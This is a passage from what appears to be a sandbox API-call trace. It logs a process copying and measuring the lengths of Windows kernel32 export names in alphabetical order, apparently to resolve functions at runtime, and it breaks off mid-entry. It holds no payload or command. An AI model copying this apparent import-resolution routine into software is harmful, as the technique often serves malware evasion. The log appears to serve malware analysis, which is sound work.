returned="BuildCommDCBAndTimeoutsA" [0055.569] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0055.569] lstrcpyA (in: lpString1=0x34f1bc, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0055.569] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0055.569] lstrcpyA (in: lpString1=0x34f1bc, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") returned="BuildCommDCBW" [0055.569] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0055.569] lstrcpyA (in: lpString1=0x34f1bc, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0055.569] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0055.569] lstrcpyA (in: lpString1=0x34f1bc, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0055.569] lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0055.569] lstrcpyA (in: lpString1=0x34f1bc, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0055.569] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0055.569] lstrcpyA (in: lpString1=0x34f1bc, lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0055.569] lstrlenA (lpString="CANCELDEVICEWAKEUPREQUEST") returned 25 [0055.569] lstrcpyA (in: lpString1=0x34f1bc, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0055.569] lstrlenA (lpString="CANCELIO") returned 8 [0055.569] lstrcpyA (in: lpString1=0x34f1bc, lpString2="CancelIoEx" | out: lpString1="CancelIoEx") returned="CancelIoEx" [0055.569] lstrlenA (lpString="CANCELIOEX") returned 10 [0055.569] lstrcpyA (in: lpString1=0x34f1bc, lpString2="CancelSynchronousIo" | out: lpString1="CancelSynchronousIo") returned="CancelSynchronousIo" [0055.569] lstrlenA (lpString="CANCELSYNCHRONOUSIO") returned 19 [0055.569] lstrcpyA (in: lpString1=0x34f1bc, lpString2="CancelThreadpoolIo" | out: lpString1="CancelThreadpoolIo") returned="CancelThreadpoolIo" [0055.569] lstrlenA (lpString="CANCELTHREADPOOLIO") returned 18 [0055.569] lstrcpyA (in: lpString1=0x34f1bc, lpString2="CancelTimerQueueTimer" | out: lpString1="CancelTimerQueueTimer") returned="CancelTimerQueueTimer" [0055.569] lstrlenA (lpString="CANCELTIMERQUEUETIMER") returned 21 [0055.569] lstrcpyA (in: lpString1=0x34f1bc, lpString2="CancelWaitableTimer" | out: lpString1="CancelWaitableTimer") returned="CancelWaitableTimer" [0055.569] lstrlenA (lpString="CANCELWAITABLETIMER") returned 19 [0055.570] lstrcpyA (in: lpString1=0x34f1bc, lpString2="ChangeTimerQueueTimer" | out: lpString1="ChangeTimerQueueTimer") returned="ChangeTimerQueueTimer" [0055.570] lstrlenA (lpString="CHANGETIMERQUEUETIMER") returned 21 [0055.570] lstrcpyA (in: lpString1=0x34f1bc, lpString2="CheckElevation" | out: lpString1="CheckElevation") returned="CheckElevation" [0055.570] lstrlenA (lpString="CHECKELEVATION") returned 14 [0055.570] lstrcpyA (in: lpString1=0x34f1bc, lpString2="CheckElevationEnabled" | out: lpString1="CheckElevationEnabled") returned="CheckElevationEnabled" [0055.570] lstrlenA (lpString="CHECKELEVATIONENABLED") returned 21 [0055.570] lstrcpyA (in: lpString1=0x34f1bc, lpString2="CheckForReadOnlyResource" | out: lpString1="CheckForReadOnlyResource") returned="CheckForReadOnlyResource" [0055.570] lstrlenA (lpString="CHECKFORREADONLYRESOURCE") returned 24 [0055.570] lstrcpyA (in: lpString1=0x34f1bc, lpString2="CheckNameLegalDOS8Dot3A" | out: lpString1="CheckNameLegalDOS8Dot3A") returned="CheckNameLegalDOS8Dot3A" [0055.570] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3A") returned 23 [0055.570] lstrcpyA (in: lpString1=0x34f1bc, lpString2="CheckNameLegalDOS8Dot3W" | out: lpString1="CheckNameLegalDOS8Dot3W") returned="CheckNameLegalDOS8Dot3W" [0055.570] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3W") returned 23 [0055.570] lstrcpyA (in: lpString1=0x34f1bc, lpString2="CheckRemoteDebuggerPresent" | out: lpString1="CheckRemoteDebuggerPresent") returned="CheckRemoteDebuggerPresent" [0055.570] lstrlenA (lpString="CHECKREMOTEDEBUGGERPRESENT") returned 26 [0055.570] lstrcpyA (in: lpString1=0x34f1bc, lpString2="ClearCommBreak" | out: lpString1="ClearCommBreak") returned="ClearCommBreak" [0055.570] lstrlenA (lpString="CLEARCOMMBREAK") returned 14 [0055.570] lstrcpyA (in: lpString1=0x34f1bc, lpString2="ClearCommError" | out: lpString1="ClearCommError") returned="ClearCommError" [0055.570] lstrlenA (lpString="CLEARCOMMERROR") returned 14 [0055.570] lstrcpyA (in: lpString1=0x34f1bc, lpString2="CloseConsoleHandle" | out: lpString1="CloseConsoleHandle") returned="CloseConsoleHandle" [0055.570] lstrlenA (lpString="CLOSECONSOLEHANDLE") returned 18 [0055.570] lstrcpyA (in: lpString1=0x34f1bc, lpString2="CloseHandle" | out: lpString1="CloseHandle") returned="CloseHandle" [0055.570] lstrlenA (lpString="CLOSEHANDLE") returned 11 [0055.570] lstrcpyA (in: lpString1=0x34f1bc, lpString2="ClosePrivateNamespace" | out: lpString1="ClosePrivateNamespace") returned="ClosePrivateNamespace" [0055.570] lstrlenA (lpString="CLOSEPRIVATENAMESPACE") returned 21 [0055.570] lstrcpyA (in: lpString1=0x34f1bc, lpString2="CloseProfileUserMapping" | out: lpString1="CloseProfileUserMapping") returned="CloseProfileUserMapping" [0055.570] lstrlenA (lpString="CLOSEPROFILEUSERMAPPING") returned 23 [0055.570] lstrcpyA (in: lpString1=0x34f1bc, lpString2="CloseThreadpool" | out: lpString1="CloseThreadpool") returned="CloseThreadpool" [0055.570] lstrlenA (lpString="CLOSETHREADPOOL") returned 15 [0055.570] lstrcpyA (in: lpString1=0x34f1bc, lpString2="CloseThreadpoolCleanupGroup" | out: lpString1="CloseThreadpoolCleanupGroup") returned="CloseThreadpoolCleanupGroup" [0055.570] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUP") returned 27 [0055.570] lstrcpyA (in: lpString1=0x34f1bc, lpString2="CloseThreadpoolCleanupGroupMembers" | out: lpString1="CloseThreadpoolCleanupGroupMembers") returned="CloseThreadpoolCleanupGroupMembers" [0055.570] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUPMEMBERS") returned 34 [0055.570] lstrcpyA (in: lpString1=0x34f1bc, lpString2="CloseThreadpoolIo" | out: lpString1="CloseThreadpoolIo") returned="CloseThreadpoolIo" [0055.570] lstrlenA (lpString="CLOSETHREADPOOLIO") returned 17 [0055.570] lstrcpyA (in: lpString1=0x34f1bc, lpString2="CloseThreadpoolTimer" | out: lpString1="CloseThreadpoolTimer") returned="CloseThreadpoolTimer" [0055.571] lstrlenA (lpString="CLOSETHREADPOOLTIMER") returned 20 [0055.571] lstrcpyA (in: lpString1=0x34f1bc, lpString2="CloseThreadpoolWait" | out: lpString1="CloseThreadpoolWait") returned="CloseThreadpoolWait" [0055.571] lstrlenA (lpString="CLOSETHREADPOOLWAIT") returned 19 [0055.571] lstrcpyA (in: lpString1=0x34f1bc, lpString2="CloseThreadpoolWork" | out: lpString1="CloseThreadpoolWork") returned="CloseThreadpoolWork" [0055.571] lstrlenA (lpString="CLOSETHREADPOOLWORK") returned 19 [0055.571] lstrcpyA (in: lpString1=0x34f1bc, lpString2="CmdBatNotification" | out: lpString1="CmdBatNotification") returned="CmdBatNotification" [0055.571] lstrlenA (lpString="CMDBATNOTIFICATION") returned 18 [0055.571] lstrcpyA (in: lpString1=0x34f1bc, lpString2="CommConfigDialogA" | out: lpString1="CommConfigDialogA") returned="CommConfigDialogA" [0055.571] lstrlenA (lpString="COMMCONFIGDIALOGA") returned 17 [0055.571] lstrcpyA (in: lpString1=0x34f1bc, lpString2="CommConfigDialogW" | out: lpString1="CommConfigDialogW") returned="CommConfigDialogW" [0055.571] lstrlenA (lpString="COMMCONFIGDIALOGW") returned 17 [0055.571] lstrcpyA (in: lpString1=0x34f1bc, lpString2="CompareCalendarDates" | out: lpString1="CompareCalendarDates") returned="CompareCalendarDates" [0055.571] lstrlenA (lpString="COMPARECALENDARDATES") returned 20 [0055.571] lstrcpyA (in: lpString1=0x34f1bc, lpString2="CompareFileTime" | out: lpString1="CompareFileTime") returned="CompareFileTime" [0055.571] lstrlenA (lpString="COMPAREFILETIME") returned 15 [0055.571] lstrcpyA (in: lpString1=0x34f1bc, lpString2="CompareStringA" | out: lpString1="CompareStringA") returned="CompareStringA" [0055.571] lstrlenA (lpString="COMPARESTRINGA") returned 14 [0055.571] lstrcpyA (in: lpString1=0x34f1bc, lpString2="CompareStringEx" | out: lpString1="CompareStringEx") returned="CompareStringEx" [0055.571] lstrlenA (lpString="COMPARESTRINGEX") returned 15 [0055.571] lstrcpyA (in: lpString1=0x34f1bc, lpString2="CompareStringOrdinal" | out: lpString1="CompareStringOrdinal") returned="CompareStringOrdinal" [0055.571] lstrlenA (lpString="COMPARESTRINGORDINAL") returned 20 [0055.571] lstrcpyA (in: lpString1=0x34f1bc, lpString2="CompareStringW" | out: lpString1="CompareStringW") returned="CompareStringW" [0055.571] lstrlenA (lpString="COMPARESTRINGW") returned 14 [0055.571] lstrcpyA (in: lpString1=0x34f1bc, lpString2="ConnectNamedPipe" | out: lpString1="ConnectNamedPipe") returned="ConnectNamedPipe" [0055.571] lstrlenA (lpString="CONNECTNAMEDPIPE") returned 16 [0055.571] lstrcpyA (in: lpString1=0x34f1bc, lpString2="ConsoleMenuControl" | out: lpString1="ConsoleMenuControl") returned="ConsoleMenuControl" [0055.571] lstrlenA (lpString="CONSOLEMENUCONTROL") returned 18 [0055.571] lstrcpyA (in: lpString1=0x34f1bc, lpString2="ContinueDebugEvent" | out: lpString1="ContinueDebugEvent") returned="ContinueDebugEvent" [0055.571] lstrlenA (lpString="CONTINUEDEBUGEVENT") returned 18 [0055.571] lstrcpyA (in: lpString1=0x34f1bc, lpString2="ConvertCalDateTimeToSystemTime" | out: lpString1="ConvertCalDateTimeToSystemTime") returned="ConvertCalDateTimeToSystemTime" [0055.571] lstrlenA (lpString="CONVERTCALDATETIMETOSYSTEMTIME") returned 30 [0055.571] lstrcpyA (in: lpString1=0x34f1bc, lpString2="ConvertDefaultLocale" | out: lpString1="ConvertDefaultLocale") returned="ConvertDefaultLocale" [0055.571] lstrlenA (lpString="CONVERTDEFAULTLOCALE") returned 20 [0055.571] lstrcpyA (in: lpString1=0x34f1bc, lpString2="ConvertFiberToThread" | out: lpString1="ConvertFiberToThread") returned="ConvertFiberToThread" [0055.571] lstrlenA (lpString="CONVERTFIBERTOTHREAD") returned 20 [0055.571] lstrcpyA (in: lpString1=0x34f1bc, lpString2="ConvertNLSDayOfWeekToWin32DayOfWeek" | out: lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek") returned="ConvertNLSDayOfWeekToWin32DayOfWeek" [0055.571] lstrlenA (lpString="CONVERTNLSDAYOFWEEKTOWIN32DAYOFWEEK") returned 35 [0055.572] lstrcpyA (in: lpString1=0x34f1bc, lpString2="ConvertSystemTimeToCalDateTime" | out: lpString1="ConvertSystemTimeToCalDateTime") returned="ConvertSystemTimeToCalDateTime" [0055.572] lstrlenA (lpString="CONVERTSYSTEMTIMETOCALDATETIME") returned 30 [0055.572] lstrcpyA (in: lpString1=0x34f1bc, lpString2="ConvertThreadToFiber" | out: lpString1="ConvertThreadToFiber") returned="ConvertThreadToFiber" [0055.572] lstrlenA (lpString="CONVERTTHREADTOFIBER") returned 20 [0055.572] lstrcpyA (in: lpString1=0x34f1bc, lpString2="ConvertThreadToFiberEx" | out: lpString1="ConvertThreadToFiberEx") returned="ConvertThreadToFiberEx" [0055.572] lstrlenA (lpString="CONVERTTHREADTOFIBEREX") returned 22 [0055.572] lstrcpyA (in: lpString1=0x34f1bc, lpString2="CopyContext" | out: lpString1="CopyContext") returned="CopyContext" [0055.572] lstrlenA (lpString="COPYCONTEXT") returned 11 [0055.572] lstrcpyA (in: lpString1=0x34f1bc, lpString2="CopyFileA" | out: lpString1="CopyFileA") returned="CopyFileA" [0055.572] lstrlenA (lpString="COPYFILEA") returned 9 [0055.572] lstrcpyA (in: lpString1=0x34f1bc, lpString2="CopyFileExA" | out: lpString1="CopyFileExA") returned="CopyFileExA" [0055.572] lstrlenA (lpString="COPYFILEEXA") returned 11 [0055.572] lstrcpyA (in: lpString1=0x34f1bc, lpString2="CopyFileExW" | out: lpString1="CopyFileExW") returned="CopyFileExW" [0055.572] lstrlenA (lpString="COPYFILEEXW") returned 11 [0055.572] lstrcpyA (in: lpString1=0x34f1bc, lpString2="CopyFileTransactedA" | out: lpString1="CopyFileTransactedA") returned="CopyFileTransactedA" [0055.572] lstrlenA (lpString="COPYFILETRANSACTEDA") returned 19 [0055.572] lstrcpyA (in: lpString1=0x34f1bc, lpString2="CopyFileTransactedW" | out: lpString1="CopyFileTransactedW") returned="CopyFileTransactedW" [0055.572] lstrlenA (lpString="COPYFILETRANSACTEDW") returned 19 [0055.572] lstrcpyA (in: lpString1=0x34f1bc, lpString2="CopyFileW" | out: lpString1="CopyFileW") returned="CopyFileW" [0055.572] lstrlenA (lpString="COPYFILEW") returned 9 [0055.572] lstrcpyA (in: lpString1=0x34f1bc, lpString2="CopyLZFile" | out: lpString1="CopyLZFile") returned="CopyLZFile" [0055.572] lstrlenA (lpString="COPYLZFILE") returned 10 [0055.572] lstrcpyA (in: lpString1=0x34f1bc, lpString2="CreateActCtxA" | out: lpString1="CreateActCtxA") returned="CreateActCtxA" [0055.572] lstrlenA (lpString="CREATEACTCTXA") returned 13 [0055.572] lstrcpyA (in: lpString1=0x34f1bc, lpString2="CreateActCtxW" | out: lpString1="CreateActCtxW") returned="CreateActCtxW" [0055.572] lstrlenA (lpString="CREATEACTCTXW") returned 13 [0055.572] lstrcpyA (in: lpString1=0x34f1bc, lpString2="CreateBoundaryDescriptorA" | out: lpString1="CreateBoundaryDescriptorA") returned="CreateBoundaryDescriptorA" [0055.572] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORA") returned 25 [0055.572] lstrcpyA (in: lpString1=0x34f1bc, lpString2="CreateBoundaryDescriptorW" | out: lpString1="CreateBoundaryDescriptorW") returned="CreateBoundaryDescriptorW" [0055.572] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORW") returned 25 [0055.572] lstrcpyA (in: lpString1=0x34f1bc, lpString2="CreateConsoleScreenBuffer" | out: lpString1="CreateConsoleScreenBuffer") returned="CreateConsoleScreenBuffer" [0055.572] lstrlenA (lpString="CREATECONSOLESCREENBUFFER") returned 25 [0055.572] lstrcpyA (in: lpString1=0x34f1bc, lpString2="CreateDirectoryA" | out: lpString1="CreateDirectoryA") returned="CreateDirectoryA" [0055.572] lstrlenA (lpString="CREATEDIRECTORYA") returned 16 [0055.572] lstrcpyA (in: lpString1=0x34f1bc, lpString2="CreateDirectoryExA" | out: lpString1="CreateDirectoryExA") returned="CreateDirectoryExA" [0055.572] lstrlenA (lpString="CREATEDIRECTORYEXA") returned 18 [0055.572] lstrcpyA (in: lpString1=0x34f1bc, lpString2="CreateDirectoryExW" | out: lpString1="CreateDirectoryExW") returned="CreateDirectoryExW" [0055.573] lstrlenA (lpString="CREATEDIRECTORYEXW") returned 18 [0055.573] lstrcpyA (in: lpString1=0x34f1bc, lpString2="CreateDirectoryTransactedA" | out: lpString1="CreateDirectoryTransactedA") returned="CreateDirectoryTransactedA" [0055.573] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDA") returned 26 [0055.573] lstrcpyA (in: lpString1=0x34f1bc, lpString2="CreateDirectoryTransactedW" | out: lpString1="CreateDirectoryTransactedW") returned="CreateDirectoryTransactedW" [0055.573] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDW") returned 26 [0055.573] lstrcpyA (in: lpString1=0x34f1bc, lpString2="CreateDirectoryW" | out: lpString1="CreateDirectoryW") returned="CreateDirectoryW" [0055.573] lstrlenA (lpString="CREATEDIRECTORYW") returned 16 [0055.573] lstrcpyA (in: lpString1=0x34f1bc, lpString2="CreateEventA" | out: lpString1="CreateEventA") returned="CreateEventA" [0055.573] lstrlenA (lpString="CREATEEVENTA") returned 12 [0055.573] lstrcpyA (in: lpString1=0x34f1bc, lpString2="CreateEventExA" | out: lpString1="CreateEventExA") returned="CreateEventExA" [0055.573] lstrlenA (lpString="CREATEEVENTEXA") returned 14 [0055.573] lstrcpyA (in: lpString1=0x34f1bc, lpString2="CreateEventExW" | out: lpString1="CreateEventExW") returned="CreateEventExW" [0055.573] lstrlenA (lpString="CREATEEVENTEXW") returned 14 [0055.573] lstrcpyA (in: lpString1=0x34f1bc, lpString2="CreateEventW" | out: lpString1="CreateEventW") returned="CreateEventW" [0055.573] lstrlenA (lpString="CREATEEVENTW") returned 12 [0055.573] lstrcpyA (in: lpString1=0x34f1bc, lpString2="CreateFiber" | out: lpString1="CreateFiber") returned="CreateFiber" [0055.573] lstrlenA (lpString="CREATEFIBER") returned 11 [0055.573] lstrcpyA (in: lpString1=0x34f1bc, lpString2="CreateFiberEx" | out: lpString1="CreateFiberEx") returned="CreateFiberEx" [0055.573] lstrlenA (lpString="CREATEFIBEREX") returned 13 [0055.573] lstrcpyA (in: lpString1=0x34f1bc, lpString2="CreateFileA" | out: lpString1="CreateFileA") returned="CreateFileA" [0055.573] lstrlenA (lpString="CREATEFILEA") returned 11 [0055.573] lstrcpyA (in: lpString1=0x34f1bc, lpString2="CreateFileMappingA" | out: lpString1="CreateFileMappingA") returned="CreateFileMappingA" [0055.573] lstrlenA (lpString="CREATEFILEMAPPINGA") returned 18 [0055.573] lstrcpyA (in: lpString1=0x34f1bc, lpString2="CreateFileMappingNumaA" | out: lpString1="CreateFileMappingNumaA") returned="CreateFileMappingNumaA" [0055.573] lstrlenA (lpString="CREATEFILEMAPPINGNUMAA") returned 22 [0055.573] lstrcpyA (in: lpString1=0x34f1bc, lpString2="CreateFileMappingNumaW" | out: lpString1="CreateFileMappingNumaW") returned="CreateFileMappingNumaW" [0055.573] lstrlenA (lpString="CREATEFILEMAPPINGNUMAW") returned 22 [0055.573] lstrcpyA (in: lpString1=0x34f1bc, lpString2="CreateFileMappingW" | out: lpString1="CreateFileMappingW") returned="CreateFileMappingW" [0055.573] lstrlenA (lpString="CREATEFILEMAPPINGW") returned 18 [0055.573] lstrcpyA (in: lpString1=0x34f1bc, lpString2="CreateFileTransactedA" | out: lpString1="CreateFileTransactedA") returned="CreateFileTransactedA" [0055.573] lstrlenA (lpString="CREATEFILETRANSACTEDA") returned 21 [0055.573] lstrcpyA (in: lpString1=0x34f1bc, lpString2="CreateFileTransactedW" | out: lpString1="CreateFileTransactedW") returned="CreateFileTransactedW" [0055.573] lstrlenA (lpString="CREATEFILETRANSACTEDW") returned 21 [0055.573] lstrcpyA (in: lpString1=0x34f1bc, lpString2="CreateFileW" | out: lpString1="CreateFileW") returned="CreateFileW" [0055.573] lstrlenA (lpString="CREATEFILEW") returned 11 [0055.574] lstrcpyA (in: lpString1=0x34f1bc, lpString2="CreateHardLinkA" | out: lpString1="CreateHardLinkA") returned="CreateHardLinkA" [0055.574] lstrlenA (lpString="CREATEHARDLINKA") returned 15 [0055.574] lstrcpyA (in: lpString1=0x34f1bc, lpString2="CreateHardLinkTransactedA" | out: lpString1="CreateHardLinkTransactedA") returned="CreateHardLinkTransactedA" [0055.574] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDA") returned 25 [0055.574] lstrcpyA (in: lpString1=0x34f1bc, lpString2="CreateHardLinkTransactedW" | out: lpString1="CreateHardLinkTransactedW") returned="CreateHardLinkTransactedW" [0055.574] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDW") returned 25 [0055.574] lstrcpyA (in: lpString1=0x34f1bc, lpString2="CreateHardLinkW" | out: lpString1="CreateHardLinkW") returned="CreateHardLinkW" [0055.574] lstrlenA (lpString="CREATEHARDLINKW") returned 15 [0055.574] lstrcpyA (in: lpString1=0x34f1bc, lpString2="CreateIoCompletionPort" | out: lpString1="CreateIoCompletionPort") returned="CreateIoCompletionPort" [0055.574] lstrlenA (lpString="CREATEIOCOMPLETIONPORT") returned 22 [0055.574] lstrcpyA (in: lpString1=0x34f1bc, lpString2="CreateJobObjectA" | out: lpString1="CreateJobObjectA") returned="CreateJobObjectA" [0055.574] lstrlenA (lpString="CREATEJOBOBJECTA") returned 16 [0055.574] lstrcpyA (in: lpString1=0x34f1bc, lpString2="CreateJobObjectW" | out: lpString1="CreateJobObjectW") returned="CreateJobObjectW" [0055.574] lstrlenA (lpString="CREATEJOBOBJECTW") returned 16 [0055.574] lstrcpyA (in: lpString1=0x34f1bc, lpString2="CreateJobSet" | out: lpString1="CreateJobSet") returned="CreateJobSet" [0055.574] lstrlenA (lpString="CREATEJOBSET") returned 12 [0055.574] lstrcpyA (in: lpString1=0x34f1bc, lpString2="CreateMailslotA" | out: lpString1="CreateMailslotA") returned="CreateMailslotA" [0055.574] lstrlenA (lpString="CREATEMAILSLOTA") returned 15 [0055.574] lstrcpyA (in: lpString1=0x34f1bc, lpString2="CreateMailslotW" | out: lpString1="CreateMailslotW") returned="CreateMailslotW" [0055.574] lstrlenA (lpString="CREATEMAILSLOTW") returned 15 [0055.574] lstrcpyA (in: lpString1=0x34f1bc, lpString2="CreateMemoryResourceNotification" | out: lpString1="CreateMemoryResourceNotification") returned="CreateMemoryResourceNotification" [0055.574] lstrlenA (lpString="CREATEMEMORYRESOURCENOTIFICATION") returned 32 [0055.574] lstrcpyA (in: lpString1=0x34f1bc, lpString2="CreateMutexA" | out: lpString1="CreateMutexA") returned="CreateMutexA" [0055.574] lstrlenA (lpString="CREATEMUTEXA") returned 12 [0055.574] lstrcpyA (in: lpString1=0x34f1bc, lpString2="CreateMutexExA" | out: lpString1="CreateMutexExA") returned="CreateMutexExA" [0055.574] lstrlenA (lpString="CREATEMUTEXEXA") returned 14 [0055.574] lstrcpyA (in: lpString1=0x34f1bc, lpString2="CreateMutexExW" | out: lpString1="CreateMutexExW") returned="CreateMutexExW" [0055.574] lstrlenA (lpString="CREATEMUTEXEXW") returned 14 [0055.574] lstrcpyA (in: lpString1=0x34f1bc, lpString2="CreateMutexW" | out: lpString1="CreateMutexW") returned="CreateMutexW" [0055.574] lstrlenA (lpString="CREATEMUTEXW") returned 12 [0055.574] lstrcpyA (in: lpString1=0x34f1bc, lpString2="CreateNamedPipeA" | out: lpString1="CreateNamedPipeA") returned="CreateNamedPipeA" [0055.574] lstrlenA (lpString="CREATENAMEDPIPEA") returned 16 [0055.574] lstrcpyA (in: lpString1=0x34f1bc, lpString2="CreateNamedPipeW" | out: lpString1="CreateNamedPipeW") returned="CreateNamedPipeW" [0055.574] lstrlenA (lpString="CREATENAMEDPIPEW") returned 16 [0055.575] lstrcpyA (in: lpString1=0x34f1bc, lpString2="CreatePipe" | out: lpString1="CreatePipe") returned="CreatePipe" [0055.575] lstrlenA (lpString="CREATEPIPE") returned 10 [0055.575] lstrcpyA (in: lpString1=0x34f1bc, lpString2="CreatePrivateNamespaceA" | out: lpString1="CreatePrivateNamespaceA") returned="CreatePrivateNamespaceA" [0055.575] lstrlenA (lpString="CREATEPRIVATENAMESPACEA") returned 23 [0055.575] lstrcpyA (in: lpString1=0x34f1bc, lpString2="CreatePrivateNamespaceW" | out: lpString1="CreatePrivateNamespaceW") returned="CreatePrivateNamespaceW" [0055.575] lstrlenA (lpString="CREATEPRIVATENAMESPACEW") returned 23 [0055.575] lstrcpyA (in: lpString1=0x34f1bc, lpString2="CreateProcessA" | out: lpString1="CreateProcessA") returned="CreateProcessA" [0055.575] lstrlenA (lpString="CREATEPROCESSA") returned 14 [0055.575] lstrcpyA (in: lpString1=0x34f1bc, lpString2="CreateProcessAsUserW" | out: lpString1="CreateProcessAsUserW") returned="CreateProcessAsUserW" [0055.575] lstrlenA (lpString="CREATEPROCESSASUSERW") returned 20 [0055.575] lstrcpyA (in: lpString1=0x34f1bc, lpString2="CreateProcessInternalA" | out: lpString1="CreateProcessInternalA") returned="CreateProcessInternalA" [0055.575] lstrlenA (lpString="CREATEPROCESSINTERNALA") returned 22 [0055.575] lstrcpyA (in: lpString1=0x34f1bc, lpString2="CreateProcessInternalW" | out: lpString1="CreateProcessInternalW") returned="CreateProcessInternalW" [0055.575] lstrlenA (lpString="CREATEPROCESSINTERNALW") returned 22 [0055.575] lstrcpyA (in: lpString1=0x34f1bc, lpString2="CreateProcessW" | out: lpString1="CreateProcessW") returned="CreateProcessW" [0055.575] lstrlenA (lpString="CREATEPROCESSW") returned 14 [0055.575] lstrcpyA (in: lpString1=0x34f1bc, lpString2="CreateRemoteThread" | out: lpString1="CreateRemoteThread") returned="CreateRemoteThread" [0055.575] lstrlenA (lpString="CREATEREMOTETHREAD") returned 18 [0055.575] lstrcpyA (in: lpString1=0x34f1bc, lpString2="CreateRemoteThreadEx" | out: lpString1="CreateRemoteThreadEx") returned="CreateRemoteThreadEx" [0055.575] lstrlenA (lpString="CREATEREMOTETHREADEX") returned 20 [0055.575] lstrcpyA (in: lpString1=0x34f1bc, lpString2="CreateSemaphoreA" | out: lpString1="CreateSemaphoreA") returned="CreateSemaphoreA" [0055.575] lstrlenA (lpString="CREATESEMAPHOREA") returned 16 [0055.575] lstrcpyA (in: lpString1=0x34f1bc, lpString2="CreateSemaphoreExA" | out: lpString1="CreateSemaphoreExA") returned="CreateSemaphoreExA" [0055.575] lstrlenA (lpString="CREATESEMAPHOREEXA") returned 18 [0055.575] lstrcpyA (in: lpString1=0x34f1bc, lpString2="CreateSemaphoreExW" | out: lpString1="CreateSemaphoreExW") returned="CreateSemaphoreExW" [0055.575] lstrlenA (lpString="CREATESEMAPHOREEXW") returned 18 [0055.575] lstrcpyA (in: lpString1=0x34f1bc, lpString2="CreateSemaphoreW" | out: lpString1="CreateSemaphoreW") returned="CreateSemaphoreW" [0055.575] lstrlenA (lpString="CREATESEMAPHOREW") returned 16 [0055.575] lstrcpyA (in: lpString1=0x34f1bc, lpString2="CreateSocketHandle" | out: lpString1="CreateSocketHandle") returned="CreateSocketHandle" [0055.575] lstrlenA (lpString="CREATESOCKETHANDLE") returned 18 [0055.575] lstrcpyA (in: lpString1=0x34f1bc, lpString2="CreateSymbolicLinkA" | out: lpString1="CreateSymbolicLinkA") returned="CreateSymbolicLinkA" [0055.575] lstrlenA (lpString="CREATESYMBOLICLINKA") returned 19 [0055.575] lstrcpyA (in: lpString1=0x34f1bc, lpString2="CreateSymbolicLinkTransactedA" | out: lpString1="CreateSymbolicLinkTransactedA") returned="CreateSymbolicLinkTransactedA" [0055.575] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDA") returned 29 [0055.576] lstrcpyA (in: lpString1=0x34f1bc, lpString2="CreateSymbolicLinkTransactedW" | out: lpString1="CreateSymbolicLinkTransactedW") returned="CreateSymbolicLinkTransactedW" [0055.576] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDW") returned 29 [0055.576] lstrcpyA (in: lpString1=0x34f1bc, lpString2="CreateSymbolicLinkW" | out: lpString1="CreateSymbolicLinkW") returned="CreateSymbolicLinkW" [0055.576] lstrlenA (lpString="CREATESYMBOLICLINKW") returned 19 [0055.576] lstrcpyA (in: lpString1=0x34f1bc, lpString2="CreateTapePartition" | out: lpString1="CreateTapePartition") returned="CreateTapePartition" [0055.576] lstrlenA (lpString="CREATETAPEPARTITION") returned 19 [0055.576] lstrcpyA (in: lpString1=0x34f1bc, lpString2="CreateThread" | out: lpString1="CreateThread") returned="CreateThread" [0055.576] lstrlenA (lpString="CREATETHREAD") returned 12 [0055.576] lstrcpyA (in: lpString1=0x34f1bc, lpString2="CreateThreadpool" | out: lpString1="CreateThreadpool") returned="CreateThreadpool" [0055.576] lstrlenA (lpString="CREATETHREADPOOL") returned 16 [0055.576] lstrcpyA (in: lpString1=0x34f1bc, lpString2="CreateThreadpoolCleanupGroup" | out: lpString1="CreateThreadpoolCleanupGroup") returned="CreateThreadpoolCleanupGroup" [0055.576] lstrlenA (lpString="CREATETHREADPOOLCLEANUPGROUP") returned 28 [0055.576] lstrcpyA (in: lpString1=0x34f1bc, lpString2="CreateThreadpoolIo" | out: lpString1="CreateThreadpoolIo") returned="CreateThreadpoolIo" [0055.576] lstrlenA (lpString="CREATETHREADPOOLIO") returned 18 [0055.576] lstrcpyA (in: lpString1=0x34f1bc, lpString2="CreateThreadpoolTimer" | out: lpString1="CreateThreadpoolTimer") returned="CreateThreadpoolTimer" [0055.576] lstrlenA (lpString="CREATETHREADPOOLTIMER") returned 21 [0055.576] lstrcpyA (in: lpString1=0x34f1bc, lpString2="CreateThreadpoolWait" | out: lpString1="CreateThreadpoolWait") returned="CreateThreadpoolWait" [0055.576] lstrlenA (lpString="CREATETHREADPOOLWAIT") returned 20 [0055.576] lstrcpyA (in: lpString1=0x34f1bc, lpString2="CreateThreadpoolWork" | out: lpString1="CreateThreadpoolWork") returned="CreateThreadpoolWork" [0055.576] lstrlenA (lpString="CREATETHREADPOOLWORK") returned 20 [0055.576] lstrcpyA (in: lpString1=0x34f1bc, lpString2="CreateTimerQueue" | out: lpString1="CreateTimerQueue") returned="CreateTimerQueue" [0055.576] lstrlenA (lpString="CREATETIMERQUEUE") returned 16 [0055.576] lstrcpyA (in: lpString1=0x34f1bc, 